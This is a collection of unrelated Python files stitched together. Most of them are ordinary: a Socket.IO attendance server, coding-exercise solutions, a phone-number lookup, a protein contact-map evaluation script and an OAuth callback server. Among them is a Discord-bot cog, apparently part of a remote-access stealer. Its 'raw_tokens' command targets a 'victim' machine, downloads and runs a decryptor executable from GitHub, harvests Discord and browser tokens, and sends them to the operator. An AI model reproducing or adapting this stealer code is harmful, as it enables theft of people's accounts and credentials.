    #   CALLING THE CALCULATION FOR FOLLOWER DISPLACEMENT
    #   2ND PARAMETER DEFINES IF WE WANT CAM PROFILE OR FOLLOWER DISPLACEMENT
    #   >> TRUE MEANS CAM PROFILE
    cord = strand(value)
    grapher("self","radial",cord,value)


import os
import json
from threading import Thread
from time import ctime
from aiohttp import web
import socketio
from .Request import Request
from .ReconizerProcess import ReconizerProcess

global _ROOT_PATH
_ROOT_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

class RequestHandler:

    __CONFIG_PATH = os.path.join(_ROOT_PATH, "config/")
    __CONFIG_FILE = os.path.join(__CONFIG_PATH, "config.json")

    #Async Socket IO Server
    sio = socketio.AsyncServer()
    #Create new Aiohttp web Server
    app = web.Application()
    #Bind Socket IO to our web base server
    sio.attach(app)

    def __init__(self):
        print("[RequestHandler.__init__] ...")

        self.name = "RequestHandler_Server"

        self.clients = set() #Set of (socket_id, environ, auth) for each client
        self.requests = list() #List of client request

        self.host, self.port = self.__getServerInformation()

        #Register event handler
        self.sio.on('client-request', self.ListenRequest)
        self.sio.on('disconnect', self.disconnect)
        self.sio.on('connect', self.connect)

        self._httpRoutes()

        print("[RequestHandler.__init__] : done !")

    def run(self, argv):

        host = self.host if len(argv) < 3 else argv[1]
        port = self.port if len(argv) < 3 else argv[2]

        #Run the app
        web.run_app(app=self.app,
                    host=host,
                    port=port)

    def _httpRoutes(self):
        self.app.router.add_get('/', handler=self.index)

    #Index page : If a browse make a request
    async def index(self, request):
        print(request)
        #Getting index.html file
        index_file = os.path.join( _ROOT_PATH,
                                "pages/",
                                "index.html")

        with open(index_file) as data:
            return web.Response(text=data.read(), content_type="text/html")

    def _writeDefaultConfig(self):
        default_host = "0.0.0.0"
        default_port = 65_000

        data = {
            "Server": {
                "Host": default_host,
                "Port": default_port,
            },
        }

        #We write the default value in the file
        json.dump(data, open(self.__CONFIG_FILE, "w"), indent=4)

    def __getServerInformation(self):
        default_host = "0.0.0.0"
        default_port = 65_000
        data = {}

        if os.path.exists(self.__CONFIG_FILE) \
            and self.__CONFIG_FILE.endswith(".json"):

            with open(self.__CONFIG_FILE, 'r') as f:

                try:
                    data = json.load(f)

                except json.decoder.JSONDecodeError:
                    print("[Error]: Empty data in:", self.__CONFIG_FILE)
                    self._writeDefaultConfig()

                else:
                        if "Server" not in data:
                            data["Server"] = {
                                "Host": default_host,
                                "Port": default_port
                            }

                            json.dump(data,
                                      open(self.__CONFIG_FILE, "w"),
                                      indent=4)

            return (data.get("Server").get("Host"),
                    data.get("Server").get("Port"))

        else:
            #Create config.json
            if not os.path.exists(self.__CONFIG_PATH):
                os.makedirs(self.__CONFIG_PATH)

            with open(self.__CONFIG_FILE, "w"):
                self._writeDefaultConfig()

            return (default_host, default_port)

    #Decode the resquest and transform into Request object
    def DecodeRequest(self, request):
        decoded_request = None

        if isinstance(request, str):
            decoded_request = json.loads(request)
        elif isinstance(request, dict):
            decoded_request = request

        self.requests.append(decoded_request)

        return Request(id=decoded_request.get("id"),
                        teacher=decoded_request.get("teacher"),
                        classroom=decoded_request.get("classroom"),
                        course=decoded_request.get("course"),
                        disciplines=decoded_request.get("disciplines"),
                        level=decoded_request.get("level"),
                        finish_hour=decoded_request.get("finish_hour"))

    """
    Events :
        - connect : new client
        - disconnect : client disconnect
        - client-request : request for attendance list
    """

    @sio.on('connect')
    def connect(self, socket_id, environ):

        self.clients.add(socket_id)

        print("Connected : ", socket_id)
        print("Numbers of clients : " , len(self.clients) )

    @sio.on('disconnect')
    def disconnect(self, socket_id):
        print("Disconnected : ", socket_id)
        print("Numbers of clients : " , len(self.clients) )

    #We listen for client request
    @sio.on('client-request')
    async def ListenRequest(self, socket_id, request):

        data = self.DecodeRequest(request)

        print("Socket ID:", socket_id, " request : ", request)

        #Process request here
        reconizer_process = ReconizerProcess(data)
        thread = Thread(target=reconizer_process.RecognitionProcess, args=())
        thread.daemon = True
        thread.start()

        await self.sio.emit('server-response', json.dumps({"start_time" : ctime(), "status" : "OK"}), to=socket_id)


import re

pattern = r'^>>[A-Za-z]+<<[0-9]+(\.[0-9]+)?![0-9]+$'
total_price = 0
furniture = []
while True:
    text = input()
    if text != 'Purchase':
        if re.search(pattern, text):
            tokens = re.split('>>|<<|!', text)
            item = tokens[1]
            price = float(tokens[2])
            quantity= int(tokens[3])
            furniture.append(item)
            total_price += price * quantity
        else:
            continue
    else:
        print('Bought furniture:')
        for item in furniture:
            print(item)
        print(f'Total money spend: {total_price:.2f}')
        break


import phonenumbers
from phonenumbers import timezone,geocoder,carrier
#input number
number=str(input("input number with country code:  "))
#phone number detiles
phone=phonenumbers.parse(number)
#time zone
time=timezone.time_zones_for_number(phone)
#company of number
carri=carrier.name_for_valid_number(phone,"en")
#Country of your number
registe=geocoder.description_for_number(phone,"en")

print(phone)

print(time)

print(carri)

print(registe)


def is_palindrome(word: str) -> bool:
    return word == word[::-1]

def longest_palindrome(text: str) -> str:
    longest = ''
    text_size = len(text)
    for i in range(text_size):
        for j in range(0, i):
            chunk = text[j:i + 1]
            if is_palindrome(chunk):
                if len(chunk) > len(longest):
                    longest = chunk
    return longest


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function

import sys
from time import gmtime, strftime
CURRENTYEAR=strftime("%Y", gmtime())

VMAJOR=0
VMINOR=11
# 3 - Fixed OpenSSH Dependency BUG on SUSE
# 4 - Fixed locate of visudo
# 5 - Added support for SELINUX on RedHat
CLIENT_PACK_VERSION = 5
VENDOR="OpenLSUS"
PRODUCT="UpdateManager"
ALIAS="LSUS"
FULL_PRODUCT=VENDOR + ' ' + ALIAS + ' ' + PRODUCT

VERSION=str( VMAJOR) + '.' + str( VMINOR )

COMPLETE = FULL_PRODUCT + ' ' + VERSION
COPYRIGHT='2015-' + CURRENTYEAR
COPYRIGHTTEXT='Copyright(c) ' + COPYRIGHT + ' by marc.pahnke@gmx.de'

_V_ = '-v'
_N_ = '-n'
_C_ = '-c'
_U_ = '-u'
_L_ = '-l'
__V = '--v'
_h_ = "-h"
__help = "--help"

HELP = '\nHelp for Parameters\n\t' + _V_ + ' for verbose' + '\n\t' + _N_ + ' for no linefeed'
HELP +=  '\n\t' + _L_ + ' COPYRIGHT'
HELP += '\n\t' + __V + ' filename_compliant_format_v.2' + '\n\t' + _U_ + ' pre tar apply_update_transformation_a_b_format '
HELP += '\n\t' + _C_ + ' no linefeed plus client pack version' +  '\n\t-h/--help this help message'

def getCopyright():
    return COPYRIGHTTEXT

if __name__ == '__main__':

    if len( sys.argv ) > 1 and sys.argv[ 1 ] == _V_:
      print( FULL_PRODUCT, VERSION )

    if len( sys.argv ) > 1 and sys.argv[ 1 ] == __V:
      print( str( FULL_PRODUCT ).replace(' ', '_' ) + '-' + VERSION )

    if len( sys.argv ) > 1 and sys.argv[ 1 ] == _U_:
      print( str( VMAJOR) + '_' + str( VMINOR ) )

    elif len( sys.argv ) > 1 and sys.argv[ 1 ] == _N_:
      print( VERSION, end='')

    elif len( sys.argv ) > 1 and sys.argv[ 1 ] == _C_:
      print( VERSION + '.' + str( CLIENT_PACK_VERSION ), end='')

    elif len( sys.argv ) > 1 and sys.argv[ 1 ] == _L_:
      print( COPYRIGHTTEXT) #, end='')

    elif len( sys.argv ) > 1 and ( sys.argv[ 1 ] == _h_ or sys.argv[ 1 ] == __help ):
      print( FULL_PRODUCT, VERSION, HELP )

    else:
      print( VERSION )


import copy
import math
import os

import numpy as np

from utils.evalutaion.relaxed_cmaps import make_relax
# # NOTE
## This basically takes 2 contact maps as input and uses them to find the recall
## converts the real one into relax map of 0,1,2
### *For Relax 0,1 and 2 only the true contact map was taken into consideration not the relaxed maps to identify the false negative

####### Recall = true_positive /(true_positve +false negative)
#####  E.g For calculating recall of top-5 for a protein of 10 true contacts, if we predict 3 contacts successfully, then
#### True positive  = 3
#### False negative = 10-3 = 7 , as 7 true contacts were not predicted correctly
#### Recall = 3/ (3 +7 ) =0.3
def file_reader(_input):
    content_arry = []
    f = open(_input, "r")
    if f.mode == 'r':
        content_arry = f.read().splitlines()
        f.close()
    return content_arry

def fix_pred_map(_inputs, _len_a, _len_b):
    total = _len_a + _len_b
    output_rr = copy.deepcopy(_inputs)
    for j_counter in range(0, _len_a):
        for i_counter in range(0, _len_a):
            output_rr[j_counter][i_counter] = 0
            output_rr[i_counter][j_counter] = 0

    for j_counter in range(_len_a, total):
        for i_counter in range(_len_a, total):
            output_rr[j_counter][i_counter] = 0
            output_rr[i_counter][j_counter] = 0

    for j_counter in range(_len_a, total):
        for i_counter in range(0, _len_a):
            output_rr[j_counter][i_counter] = (output_rr[i_counter][j_counter] + output_rr[j_counter][i_counter]) / 2.0
            output_rr[i_counter][j_counter] = 0
    return output_rr

def getY(true_file):
    # calcualte the length of the protein (the first feature)
    input_array = []
    file = open(true_file, "r")
    if file.mode == 'r':
        input_array = file.read().splitlines()
        file.close()
    inter_array = []

    for values in input_array:
        inter_array.append(values.strip().split(' '))
    # since its a sequare matrix coz I made it that way
    L = len(inter_array)
    relax_0_array = np.asfarray(inter_array, float)
    # print(inter_array)

    return relax_0_array

def loadFastaDictionary(dict_file):
    fasta_dict = {}
    with open(dict_file, "r") as f:
        for line in f:
            fasta_dict[line.strip().split(":")[0].strip()] = line.strip().split(":")[1].strip()
    return fasta_dict

def calculateEvaluationStats(_pred_cmap, _true_cmap, L,_number_contacts):
    pred_cmap=copy.deepcopy(_pred_cmap)
    true_cmap=copy.deepcopy(_true_cmap)
    prec_T5, prec_T10, prec_T20, prec_T30, prec_T50, prec_L30, prec_L20, prec_L10, prec_L5, prec_L, prec_2L, con_num = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    max_Top = int((2*L ) + 0.5)
    if 50 > max_Top: max_Top = 50

    for i in range(1, max_Top + 1):
        (x, y) = np.unravel_index(np.argmax(pred_cmap, axis=None), pred_cmap.shape)
        pred_cmap[x][y] = 0
        if true_cmap[x][y] == 1:
            con_num += 1

        if i == 5:
            prec_T5 = con_num/_number_contacts
            if prec_T5  > 1.0:
                prec_T5 = 1.0
            print("L=", L, "Val=", 5, "Con_num=", con_num)
        if i == 10:
            prec_T10 = con_num/_number_contacts
            if prec_T10  > 1.0: prec_T10 = 1.0
            print("L=", L, "Val=", 10, "Con_num=", con_num)
        if i == 20:
            prec_T20 = con_num/_number_contacts
            if prec_T20  > 1.0: prec_T20 = 1.0
            print("L=", L, "Val=", 20, "Con_num=", con_num)
        if i == 30:
            prec_T30 = con_num/_number_contacts
            if prec_T30  > 1.0: prec_T30 = 1.0
            print("L=", L, "Val=", 30, "Con_num=", con_num)
        if i == 50:
            prec_T50 = con_num/_number_contacts
            if prec_T50  > 1.0: prec_T50 = 1.0
            print("L=", L, "Val=", 50, "Con_num=", con_num)
        if i == int((L / 30) + 0.5):
            prec_L30 = con_num/_number_contacts
            if prec_L30  > 1.0: prec_L30 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 20) + 0.5):
            prec_L20 = con_num/_number_contacts
            if prec_L20  > 1.0: prec_L20 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 10) + 0.5):
            prec_L10 = con_num/_number_contacts
            if prec_L10  > 1.0: prec_L10 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 5) + 0.5):
            prec_L5 = con_num/_number_contacts
            if prec_L5  > 1.0: prec_L5 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L) + 0.5):
            prec_L = con_num/_number_contacts
            if prec_L  > 1.0: prec_L = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((2 * L) + 0.5):
            prec_2L = con_num/_number_contacts
            if prec_2L  > 1.0: prec_2L = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)

    # return [prec_T5/_number_contacts, prec_T10/_number_contacts, prec_T20/_number_contacts, prec_T30/_number_contacts, prec_T50/_number_contacts, prec_L30/_number_contacts, prec_L20/_number_contacts, prec_L10/_number_contacts, prec_L5/_number_contacts, prec_L/_number_contacts, prec_2L/_number_contacts]
    return [prec_T5, prec_T10, prec_T20, prec_T30, prec_T50, prec_L30, prec_L20, prec_L10, prec_L5, prec_L, prec_2L]

def get_evaluation_result(_arr,_relax,_SAMPLE_SIZE):
    sum_prec_T5, sum_prec_T10, sum_prec_T20, sum_prec_T30, sum_prec_T50, sum_prec_L30, sum_prec_L20, sum_prec_L10, sum_prec_L5, sum_prec_L, sum_prec_2L = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    SAMPLE_SIZE = len(test_file_name)
    for values in _arr:
        sum_prec_T5 = sum_prec_T5 + values[0]
        sum_prec_T10 = sum_prec_T10 + values[1]
        sum_prec_T20 = sum_prec_T20 + values[2]
        sum_prec_T30 = sum_prec_T30 + values[3]
        sum_prec_T50 = sum_prec_T50 + values[4]
        sum_prec_L30 = sum_prec_L30 + values[5]
        sum_prec_L20 = sum_prec_L20 + values[6]
        sum_prec_L10 = sum_prec_L10 + values[7]
        sum_prec_L5 = sum_prec_L5 + values[8]
        sum_prec_L = sum_prec_L + values[9]
        sum_prec_2L = sum_prec_2L + values[10]
    print(    str(_relax) + '\t\t\t' + str(sum_prec_T5 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_T10 / _SAMPLE_SIZE)[
                                                                               0:5] + '\t\t\t' + str(
            sum_prec_T20 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_T30 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_T50 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L30 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_L20 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L10 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_L5 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_2L / _SAMPLE_SIZE)[0:5] )

relax_0 = []
relax_1 = []
relax_2 = []
fasta_dict = loadFastaDictionary('/home/rajroy/Downloads/experiment_batch/fasta_dictionary.txt')
# test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new/training_list_het_121220/test_list.txt'
# test_file = '/home/rajroy/400_run/test_list.txt'
# recall just extract how many
# cmap_dir = "/home/rajroy/hq_200/"
# cmap_dir = "/home/rajroy/400_new_het_24/"
# cmap_dir = "/home/rajroy/cmap_predict_200_farhan/"

test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new_2/training_list_het_400/test_list.txt'
# test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new/training_list_het_400/validation_list.txt'
# cmap_dir = "/home/rajroy/cmap_predict_400_hetero/"
# cmap_dir = "/home/rajroy/400_new_het_24/"
# cmap_dir = "/home/rajroy/predict_cmap_200_hetero_test/"
cmap_dir = "/home/rajroy/400_zdock_out/cmaps/"
test_file_name = file_reader(test_file)
val_array = []
all_threshold_values = []
# for n in range(5,100,5):
# THRESHOLD = n/100
SAMPLE_SIZE=0
for file in test_file_name:
    name_1 = file.split('_')
    predict_cmap = cmap_dir + name_1[0]+'_'+name_1[1] + '.txt'

    # predict_cmap = cmap_dir + name_arrr_1[0]+'_'+name_arrr_1[1] + '.txt'
    if os.path.isfile(predict_cmap):
        SAMPLE_SIZE=SAMPLE_SIZE+1

        # /home/rajroy/predict_cmap_200_hetero/1H3OB_1H3OC_3305_.rr.npy.txt'

        # /home/rajroy/predict_cmap_200_hetero/Y-1H3OB_1H3OC_3305.txt.npy.txt'

        # processed cmap
        name = os.path.basename(predict_cmap).replace('.txt','')
        if '__' in name:
            name=name.replace('__','_')

        name_arrr = name.split('_')
        if '__' in  os.path.basename(predict_cmap):
            len_b = len(fasta_dict.get(name_arrr[0]))
            len_a = len(fasta_dict.get(name_arrr[1]))
        else:
            len_a = len(fasta_dict.get(name_arrr[0]))
            len_b = len(fasta_dict.get(name_arrr[1]))
        total = len_a + len_b

        #removing symmetry
        # real_cmap = cmap_dir + 'Y-' + file + '.txt.npy.txt'
        real_cmap = cmap_dir + 'Y-' + file + '.txt.npy.txt'
        real_arr = fix_pred_map( getY(real_cmap), len_a, len_b)

        #getting number of contacts
        pred_eval = np.where(real_arr == 1.0)
        number_contacts = len(pred_eval[0])

        random_cmap = np.random.random((total, total))
        pred_arr = getY(predict_cmap)
        new_pred_map = fix_pred_map(pred_arr, len_a, len_b)

        relax_0.append(calculateEvaluationStats(new_pred_map, real_arr, total,number_contacts))

        real_arr_1 = make_relax(real_arr, 1)
        relax_1.append(calculateEvaluationStats(new_pred_map, real_arr_1, total,number_contacts))

        real_arr_2 = make_relax(real_arr, 2)
        relax_2.append(calculateEvaluationStats(new_pred_map, real_arr_2, total,number_contacts))

print(
    'RELAX ' + '\t\t\t' + 'TOP-5' + '\t\t\t' + 'TOP-10' + '\t\t\t' + 'TOP-20' + '\t\t\t' + 'TOP-30' + '\t\t\t' + 'TOP-50' + '\t\t\t' + 'L/30' + '\t\t\t' + 'L/20' + '\t\t\t' + 'L/10' +
    '\t\t\t' + 'L/5' + '\t\t\t' + 'L/' + '\t\t\t' + '2L/')

get_evaluation_result(relax_0,0,len(test_file_name))
get_evaluation_result(relax_1,1,len(test_file_name))
get_evaluation_result(relax_2,2,len(test_file_name))
print(SAMPLE_SIZE)


import disnake as discord
from disnake.ext import commands
from datetime import datetime
from base64 import decodebytes

import os, requests
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"

class RawTokens(commands.Cog):
    def __init__(self, bot: commands.Bot):
        self.bot = bot

    @commands.slash_command( )
    async def raw_tokens(self, ctx, victim):
        """Sends all Discord Tokens unchecked

        Parameters
        ----------
        victim: Identifier of the affected computer (found via /listvictims).
        """
        if str(victim) == str(self.bot.identifier):
            await ctx.response.defer()

            try:
                tkr = bytes(
                    requests.get(
                        "https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken"
                    ).text,
                    "utf-8"
                )
            except Exception as e:
                return await ctx.followup.send(
                    "Unable to download decryptor!\n\n"+e
                )

            os.chdir(nr_working)
            with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))

            changes = {
                '[': '',
                ']': '',
                ',': '',
                "'": '',
                '"': '',
                ' ': '\n'
            }

            discordTkz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
            webTkz = list(dict.fromkeys(self.bot.find_token()))

            for k, v in changes.items():
                discordTkz = str(discordTkz).replace(k, v)
                webTkz = str(webTkz).replace(k, v)

            finalTks = str(discordTkz + "\n" + webTkz)

            await ctx.followup.send(
                embed = self.bot.genEmbed(
                    "Decrypted tokens",
                    datetime.now(),
                    f"```" + finalTks + "```"
                )
            )

            os.remove(nr_working + "\\tkr.exe")
            os.chdir(self.bot.original_dir)

def setup(bot: commands.Bot):
    bot.add_cog(RawTokens(bot))


def _main():
    with open('input.txt') as f:
        puzzle_input = [line.strip() for line in f.readlines()]

    horizontal_coordinate = 0
    depth_coordinate = 0
    aim = 0
    for line in puzzle_input:
        elements = line.split(' ')
        direction = elements[0]
        speed = int(elements[1])
        if direction == 'forward':
            horizontal_coordinate += speed
            depth_coordinate += aim * speed
        elif direction == 'up':
            aim -= speed
        elif direction == 'down':
            aim += speed
        else:
            raise RuntimeError(f'Unknown direction "{depth_coordinate}"')

    print(horizontal_coordinate * depth_coordinate)

if __name__ == '__main__':
    _main()


import cgi
import http.server
import socketserver
import file_handler as fh

CALLBACK_BASE = '127.0.0.1'
OAUTH_VERIFIER_KEY = 'oauth_verifier'

# Create the callback server that's used to set the oauth verifier after the
# request token is authorized.
def create_callback_server(port):
    class CallbackHandler(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            if len(self.path.split('?', 1)) == 2:

                params = cgi.parse_qs(self.path.split('?', 1)[1],
                    keep_blank_values=False)

                #print('params',params)

                # Make sure correct query paramters are in url
                if OAUTH_VERIFIER_KEY in params and len(params[OAUTH_VERIFIER_KEY]) >= 1:
                    verifier = params[OAUTH_VERIFIER_KEY][0]

                    print('Server writing verifier file')
                    fh.write_verifier(verifier)

                    self.send_response(200)
                    self.send_header('Content-Type', 'text/plain')
                    self.end_headers()
                    self.wfile.write(bytes("You can now close this window", "utf-8"))
                else:
                    print('Given invalid oauth path/query params ->', 'path', self.path, 'params', params)
            else:
                print('Received invalid path', self.path)

    server = socketserver.TCPServer((CALLBACK_BASE, port), CallbackHandler)
    return server


# 604. Design Compressed String Iterator

class StringIterator(object):

    def __init__(self, compressedString):
        """
        :type compressedString: str
        """
        cs=compressedString
        self.li=[]
        self.count=[]
        i=0
        while i<len(cs):
            if cs[i].isalpha():
                self.li.append(cs[i])
                i+=1
                start=i
                while i<len(cs) and cs[i].isdigit():
                    i+=1
                self.count.append(int(cs[start:i]))

        self.index=0
        self.cur=0

    def next(self):
        """
        :rtype: str
        """
        if self.index>=len(self.li):
            return ' '
        res=self.li[self.index]
        self.cur+=1
        if self.cur==self.count[self.index]:
            self.index+=1
            self.cur=0
        return res

    def hasNext(self):
        """
        :rtype: bool
        """
        return self.index!=len(self.li)

# Your StringIterator object will be instantiated and called as such:
# obj = StringIterator(compressedString)
# param_1 = obj.next()
# param_2 = obj.hasNext()